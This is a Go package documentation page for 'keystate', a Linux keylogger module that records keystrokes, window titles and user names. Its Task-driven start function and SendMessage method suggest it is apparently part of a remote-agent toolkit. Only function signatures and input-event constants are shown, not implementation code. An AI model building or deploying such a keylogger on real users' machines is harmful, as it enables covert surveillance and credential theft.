keystate

package
v0.0.0-...-75a46ef Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 11, 2021 License: BSD-3-Clause, MIT Imports: 18 Imported by: 0

Documentation

Overview

This is taken from MarinX/keylogger

Index

Constants

This section is empty.

Variables

This section is empty.

Functions

func FindKeyboardDevice

func FindKeyboardDevice() string

FindKeyboardDevice by going through each device registered on OS Mostly it will contain keyword - keyboard Returns the file path which contains events

func IsLetter

func IsLetter(s string) bool

func StartKeylogger

func StartKeylogger(task structs.Task) error

Types

type EventType

type EventType uint16

EventType are groupings of codes under a logical input construct. Each type has a set of applicable codes to be used in generating events. See the Ev section for details on valid codes for each type

const (
	// EvSyn is used as markers to separate events. Events may be separated in time or in space, such as with the multitouch protocol.
	EvSyn EventType = 0x00
	// EvKey is used to describe state changes of keyboards, buttons, or other key-like devices.
	EvKey EventType = 0x01
	// EvRel is used to describe relative axis value changes, e.g. moving the mouse 5 units to the left.
	EvRel EventType = 0x02
	// EvAbs is used to describe absolute axis value changes, e.g. describing the coordinates of a touch on a touchscreen.
	EvAbs EventType = 0x03
	// EvMsc is used to describe miscellaneous input data that do not fit into other types.
	EvMsc EventType = 0x04
	// EvSw is used to describe binary state input switches.
	EvSw EventType = 0x05
	// EvLed is used to turn LEDs on devices on and off.
	EvLed EventType = 0x11
	// EvSnd is used to output sound to devices.
	EvSnd EventType = 0x12
	// EvRep is used for autorepeating devices.
	EvRep EventType = 0x14
	// EvFf is used to send force feedback commands to an input device.
	EvFf EventType = 0x15
	// EvPwr is a special type for power button and switch input.
	EvPwr EventType = 0x16
	// EvFfStatus is used to receive force feedback device status.
	EvFfStatus EventType = 0x17
)

type InputEvent

type InputEvent struct {
	Time  syscall.Timeval
	Type  EventType
	Code  uint16
	Value int32
}

InputEvent is the keyboard event structure itself

func (*InputEvent) KeyPress

func (i *InputEvent) KeyPress() bool

KeyPress is the value when we press the key on keyboard

func (*InputEvent) KeyRelease

func (i *InputEvent) KeyRelease() bool

KeyRelease is the value when we release the key on keyboard

func (*InputEvent) KeyString

func (i *InputEvent) KeyString() string

KeyString returns representation of pressed key as string eg enter, space, a, b, c...

type KeyLog

type KeyLog struct {
	User        string `json:"user"`
	WindowTitle string `json:"window_title"`
	Keystrokes  string `json:"keystrokes"`
	// contains filtered or unexported fields
}

func NewKeyLog

func NewKeyLog() (KeyLog, error)

func (*KeyLog) AddKeyStrokes

func (k *KeyLog) AddKeyStrokes(s string)

func (*KeyLog) SendMessage

func (k *KeyLog) SendMessage()

func (*KeyLog) SetWindowTitle

func (k *KeyLog) SetWindowTitle(s string)

func (*KeyLog) ToSerialStruct

func (k *KeyLog) ToSerialStruct() serializableKeyLog

type KeyLogger

type KeyLogger struct {
	// contains filtered or unexported fields
}

func New

func New(devPath string) (*KeyLogger, error)

New creates a new keylogger for a device path

func (*KeyLogger) Close

func (k *KeyLogger) Close() error

Close file descriptor

func (*KeyLogger) IsRoot

func (k *KeyLogger) IsRoot() bool

IsRoot checks if the process is run with root permission

func (*KeyLogger) Read

func (k *KeyLogger) Read() chan InputEvent

Read from file descriptor Blocking call, returns channel Make sure to close channel when finish

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL